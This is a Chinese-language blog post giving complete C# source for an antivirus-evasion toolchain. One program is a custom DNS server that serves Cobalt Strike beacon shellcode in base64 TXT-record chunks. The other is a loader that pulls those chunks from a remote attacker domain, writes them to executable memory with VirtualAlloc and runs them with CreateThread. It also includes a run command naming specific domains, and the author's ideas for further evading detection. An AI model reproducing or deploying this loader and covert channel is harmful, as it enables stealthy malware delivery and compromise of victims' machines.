C#免杀之自实现DNS服务器传输shellcode

警告
本文最后更新于 2021-01-14,文中内容可能已过时。

相比于http协议,dns协议有着更好的隐蔽性。类比cs的dns beacon,我们可以自己实现一个dns服务器来传输shellcode。C#拥有一个优秀的第三方库ARSoft.Tools.Net。我们可以使用他来进行dns查询和自建dns服务器。

# 程序设计

因为dns为递归查询,所以dns的数据最终会被我们的vps接收。而对比cs的dns传输,我们需要设计一个传输规范,规定哪部分为command,哪部分为data。

我所需要的只是一个传输隧道,而dns server只需要发送cs的bin数据包过来就可以。

设计一个流程图

image.png

# 代码实现

新建一个.net4.0的控制台项目,安装ARSoft.Tools.Net,因为.net版本问题,我们需要安装低版本的ARSoft.Tools.Net。

image.png

实现一个dns server

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
using ARSoft.Tools.Net.Dns;
using System;
using System.IO;
using System.Linq;
using System.Net;

namespace SharpDNS
{
    class Program
    {
        static Byte[] bytes;
        static void Main(string[] args)
        {
            if (args.Length<1)
            {
                Console.WriteLine("SharpDNS.exe beacon.bin");
                return;
            }
            bytes = ReadBeacon(args[0]);

            using (DnsServer server = new DnsServer(IPAddress.Any, 10, 10, ProcessQuery))
            {
                server.Start();
                Console.WriteLine("Dns Server Start.");
                Console.ReadLine();
            }
        }

        static DnsMessageBase ProcessQuery(DnsMessageBase message, IPAddress clientAddress, System.Net.Sockets.ProtocolType protocol)
        {
            message.IsQuery = false;
            DnsMessage query = message as DnsMessage;

            string domain = query.Questions[0].Name;
            // length.dns.test.local
            // r.500.200.dns.test.local
            string[] sp = domain.Split('.');
            string command = sp[0];

            if (command.Equals("length"))
            {
                Console.WriteLine("Contains Length");

                query.AnswerRecords.Add(new TxtRecord(domain, 0, bytes.Length.ToString()));
                message.ReturnCode = ReturnCode.NoError;
                return message;
            }
            if (command.Equals("r"))
            {

                Console.WriteLine(domain);
                try
                {
                    int hasReceive = int.Parse(sp[1]);
                    int requireReceive = int.Parse(sp[2]);
                    Console.WriteLine("hasReceive length:{0},require reveive byte length:{1}", hasReceive, requireReceive);
                    Byte[] sendByte = bytes.Skip(hasReceive).Take(requireReceive).ToArray();
                    string sendString = Convert.ToBase64String(sendByte);
                    Console.WriteLine(sendString);
                    query.AnswerRecords.Add(new TxtRecord(domain, 0, sendString));
                }
                catch (Exception e)
                {
                    Console.WriteLine(e.Message);
                }
                message.ReturnCode = ReturnCode.NoError;
                return message;
            }
            message.ReturnCode = ReturnCode.Refused;
            return message;
        }
        static Byte[] ReadBeacon(string path)
        {
            Byte[] b = File.ReadAllBytes(path);
            Console.WriteLine("ReadBeacon File Length:{0}", b.Length);
            return b;
        }
    }
}

image.png

生成beancon.bin shellcode

使用nslookup可以看到成功处理了我们的dns请求。

image.png

wireshark抓到的包也成功返回了正确的beacon shellcode 长度。

然后在看下r.0.200.dns.test.local的数据

image.png

也正确接收到了base64的分片shellcode。接下来看client的代码。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
using ARSoft.Tools.Net.Dns;
using System;
using System.Collections.Generic;
using System.Net;
using System.Runtime.InteropServices;

namespace DnsLoader
{
    class Program
    {
        static string dns;
        static void Main(string[] args)
        {
            string domain = args[0];
            dns = args[1];
            long len = QueryLength(domain);
            int requireReceive = int.Parse(args[2]);

            List<byte> bytes = new List<byte> { };
            for (int i = 0; i < len; i++)
            {
                int hasReceive = bytes.Count;
                if (hasReceive == len)
                {
                    Console.WriteLine("接收完毕");
                    break;
                }
                string rev = ClientQuery("r." + hasReceive.ToString() + "." + requireReceive.ToString() + "." + domain);
                if (rev.Equals(null))
                {
                    Console.WriteLine("dns 查询错误");
                    return;
                }
                byte[] b = Convert.FromBase64String(rev);
                bytes.AddRange(b);
                //Console.WriteLine(rev);
            }

            Console.WriteLine(bytes.Count);
            if (bytes.Count != 0)
            {
                inject(bytes.ToArray());
            }
        }

        public static long QueryLength(string domain)
        {
            long len = 0;
            string l = ClientQuery("length." + domain);
            bool success = Int64.TryParse(l, out len);
            if (success)
            {
                return len;
            }
            else
            {
                return 0;
            }
        }


        public static String ClientQuery(string domain)
        {
            List<IPAddress> dnss = new List<IPAddress> { };
            dnss.AddRange(Dns.GetHostAddresses(dns));
            var dnsClient = new DnsClient(dnss, 60);
            DnsMessage dnsMessage = dnsClient.Resolve(domain, RecordType.Txt);
            if ((dnsMessage == null) || ((dnsMessage.ReturnCode != ReturnCode.NoError) && (dnsMessage.ReturnCode != ReturnCode.NxDomain)))
            {
                Console.WriteLine("DNS request failed");
                return null;
            }
            else
            {
                foreach (DnsRecordBase dnsRecord in dnsMessage.AnswerRecords)
                {
                    TxtRecord txtRecord = dnsRecord as TxtRecord;
                    if (txtRecord != null)
                    {
                        return txtRecord.TextData.ToString();
                    }
                }
                return null;
            }
        }


        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
        public static void inject(Byte[] buffer)
        {
            UInt32 MEM_COMMIT = 0x1000;
            UInt32 PAGE_EXECUTE_READWRITE = 0x40;
            UInt32 funcAddr = VirtualAlloc(0x0000, (UInt32)buffer.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(buffer, 0x0000, (IntPtr)(funcAddr), buffer.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0x0000;
            IntPtr pinfo = IntPtr.Zero;
            hThread = CreateThread(0x0000, 0x0000, funcAddr, pinfo, 0x0000, ref threadId);
            WaitForSingleObject(hThread, 0xffffffff);
        }
    }
}

image.png

成功拿到beacon。

image.png

注意的是dns的txt解析一次不能传输太多,我测试的时候用的2000没什么问题。

1
DnsLoader.exe cdn.jdcdn.ga dns.jdcdn.ga 2000

dns的解析记录这么设置

image.png

vt查杀结果点我

image.png

# 思考

  1. 通过别的协议是否更加隐蔽?
  2. 传输的只是shellcode,和分离免杀没区别,关键怎么绕过VirtualAlloc等api调用。
  3. 抠出来cs的功能一点点自己实现。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。